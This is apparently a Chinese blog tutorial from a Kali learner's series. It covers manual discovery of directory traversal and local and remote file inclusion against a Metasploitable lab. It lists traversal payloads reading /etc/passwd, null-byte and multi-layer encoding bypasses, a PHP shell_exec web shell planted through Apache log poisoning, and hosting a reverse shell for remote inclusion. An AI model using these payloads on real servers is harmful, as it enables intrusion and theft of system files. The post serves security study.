• 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含


    手动漏洞挖掘

    漏洞类型

    #Directory traversal 目录遍历【本台机器操作系统上文件进行读取】

    使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录【默认为:/var/www/】之外的其他操作系统文件(如:/etc/passwd/)。形成根源:目录权限限制不严格

    #File include文件包含【1、include本地文件包含LFI;2、远程系统文件包含RFI(可传入木马)】

    通常为如include函数,可以将web根目录以外的目录包含进来。根源:include函数对输入变量限制不严

    #此两种漏洞类型的利用方法和实现效果完全相同。

     注:kali中默认集成一些攻击向量字典,/usr/share/wfuzz/wordlist/vulns

     

    ##################################################################

    默认情况下, metasploitable只有文件包含漏洞,没用远程文件包含漏洞

    #修改metasploitable配置文件

    sudo vi /etc/php5/cgi/php.ini

    /allow_url            搜索

    sudo /etc/init.d/apache2 restart          重启apache服务

    ##########################################################################

    漏洞利用

    首先,观察特点、特征等【如:?page=a.php  ?home=b.html    ?file=content】;然后是表单或者URL地址

    经典测试方法

    /etc/passwd/    一个普通用户也可以读取的文件,常用于测试

    1、?file=../../../../etc/password

    解析:无论是windows系统还是linux,都有两个特殊目录

    .     表示当前目录

    ../    表示当前目录的父目录(上一级目录)

    “../”   越多越好,是因为可以此跳转到根目录

    #也可以直接使用绝对路径?page=/etc/passwd,但是目录遍历漏洞不使用,需使用“../”

    2、?page=file:///etc/passwd【文件系统访问,file后面要求是绝对路径】/etc/passwd

    3、?home=main.cgi【源码内容/配置信息等】

    4、?page=http://www.a.com/1.php(包含其他网页文件)【远程文件包含】

    可自己做一个web server,在上面放置一个反弹shell

    ?page=http://1.1.1.1/../../../../dir/file.txt

    编码绕过字符过滤

    当提示:找不到***文件,则应该可以判断有过滤机制

    在php5.3之前,存在这种绕过限制

    “.”     “%00”(通俗有效,表示控制符)【在php语言格式,当遇到%00,则忽略其后面的内容】

    例如:?flie=a.doc%00.php

    使用多种编码尝试【每个字符都可以做编码尝试,通常来说,128以下的ASCII码都不会被过滤】

    特殊字符:"."    "/"            #英文字符肯定不会被过滤

    ######################################################################

    #不同操作系统的路径特征字符

    #类UNIX系统

    根目录:/

    目录层级分隔符:/

    #windows系统

    C:

    或/

    ######################################################################

    编码

    最常用:URL编码【若一层编码不足以绕过,可使用双层或多层URL编码,前提:密文能被服务器解码】

    目的:目标服务器能正常地对编码进行解码,并且能查看想查看的内容,同时能够绕过

    %2e%2e%2f                           解码 ../


    %2e%2e%5c                          解码 ..
    %252e%252e%255c              解码 ..                 【双层编码:特殊字符%被编码为%25】

    Unicode/UTF-8       【非英文字符编码】

    ..%c0%af                 解码 ../
    ..%u2216
    ..%c1%9c                解码 ..

    #可使用在线工具

    ######################################################################################

    其他系统路径可能使用到的字符

    • file.txt...
    • file.txt<spaces>        #空格
    • file.txt” ””
    • file.txt<<<>>><
    • ./././file.txt
    • nonexistant/../file.txt          #输入一个不存在的目录【很多操作系统已经过滤】

    UNC路径【windows系统文件共享】

    • \1.1.1.1path ofile.txt

    注:可提前将常见的字符单个编码,在两两或任意组合,形成一个字典文件,利用burpsuite中的intruder进行攻击可提高效率

    ######################################################################################

    特例:无法从URL中查看任何迹象,其位于http请求头中的cookie

    代码:

    攻击:【注入位置为cookie信息】

    结果:

    注:任何变量都要进行验证

    ##########################################################################################

    实例演示

    本地文件包含LFI

    查看文件

    代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】

    <?php echo shell_exec($_GET['cmd']);?>



    Apache access.log       【前提:其他用户对该文件有读取权限】

    然后在浏览器中访问该文件

    ?page=/var/log/apache2/access.log

    #############################################################################

    注:Linux系统中,当你对一个文件赋予了权限的同时,要保证其层级目录也被赋予的相同的权限

    #############################################################################

    远程文件包含RFI【相对本地包含,机率较低】

    验证:

    危害:

     

    低等级

    中等级

    绕过思路【只过滤一次】

    1、编码

    2、混插字符

    高等级限制

  • 相关阅读:
    静态化之优化
    SEO小技巧
    apache 工具和简单优化
    apache rewrite机制
    nginx php win平台配置
    mvc 简单模型
    php无限分类三种方式
    【转】sqlserver查询数据库中有多少个表
    【转】sqlserver数据库之间的表的复制
    SET ANSI_NULLS (TransactSQL)
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/5988771.html
Copyright © 2020-2023  润新知